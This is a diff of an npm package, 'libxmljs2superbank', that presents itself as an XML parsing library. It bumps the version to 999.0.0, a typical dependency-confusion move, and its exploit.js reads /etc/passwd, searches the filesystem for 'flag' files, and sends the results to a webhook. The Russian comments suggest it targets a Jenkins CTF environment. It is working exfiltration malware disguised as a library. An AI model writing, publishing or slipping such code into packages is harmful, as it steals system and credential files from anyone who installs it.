libxmljs2superbank 0.31.0 → 999.0.0

package/exploit.js

@@ -30,59 +30,33 @@ function sendToWebhook(data) {
 
 let collectedData = '';
 
-// 1. Ищем флаг в рабочей директории Jenkins
-const searchPaths = [
-    '/etc/passwd',
-    '/flag',                    // Dockerfile
-    '/workspace/flag',          // Jenkins workspace
-    '/var/jenkins_home/jobs/staging/workspace/flag',
-    '/usr/src/app/flag',        // App directory
-    './flag',                   // Current directory
-    '/tmp/flag',
-    '/root/flag'
-];
-
-searchPaths.forEach(path => {
-    try {
-        const content = fs.readFileSync(path, 'utf8');
-        console.log(`=== FOUND: ${path} ===`);
-        console.log(content);
-        collectedData += `=== ${path} ===\n${content}\n\n`;
-        
-        if (content.includes('{') && content.includes('}')) {
-            console.log(`🚨 FLAG FOUND IN ${path}:`, content);
-        }
-    } catch(e) {
-        collectedData += `Not found: ${path}\n`;
+// Читаем /etc/passwd
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd ===');
+    console.log(passwd);
+    collectedData += '=== /etc/passwd ===\n' + passwd + '\n';
+    
+    // Ищем флаг
+    if (passwd.includes('{') && passwd.includes('}')) {
+        console.log('🚨 FLAG FOUND IN /etc/passwd!');
     }
-});
+} catch(e) {
+    collectedData += 'Error reading /etc/passwd: ' + e.message + '\n';
+}
 
-// 2. Список файлов в текущей и корневой директориях
-exec('pwd && ls -la && ls -la /', (err, stdout) => {
-    if (!err) {
-        collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
+// Ищем файлы с флагом
+exec('find / -name "*flag*" 2>/dev/null | head -10', (err, stdout) => {
+    if (!err && stdout) {
+        console.log('=== FLAG FILES ===');
+        console.log(stdout);
+        collectedData += '=== FLAG FILES ===\n' + stdout + '\n';
     }
 
-    // 3. Ищем файл flag рекурсивно
-    exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
-        if (!err && stdout) {
-            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
-            
-            // Читаем найденные файлы
-            const files = stdout.trim().split('\n');
-            files.forEach(file => {
-                try {
-                    const content = fs.readFileSync(file, 'utf8');
-                    collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
-                    console.log(`Content of ${file}:`, content);
-                } catch(e) {}
-            });
-        }
-
-        // Отправляем все данные
-        sendToWebhook(collectedData);
-        
-        console.log('=== ALL COLLECTED DATA ===');
-        console.log(collectedData);
-    });
+    // Отправляем данные
+    sendToWebhook(collectedData);
+    
+    // Выводим в консоль
+    console.log('=== ALL DATA ===');
+    console.log(collectedData);
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "libxmljs2superbank",
-  "version": "0.31.0",
+  "version": "999.0.0",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {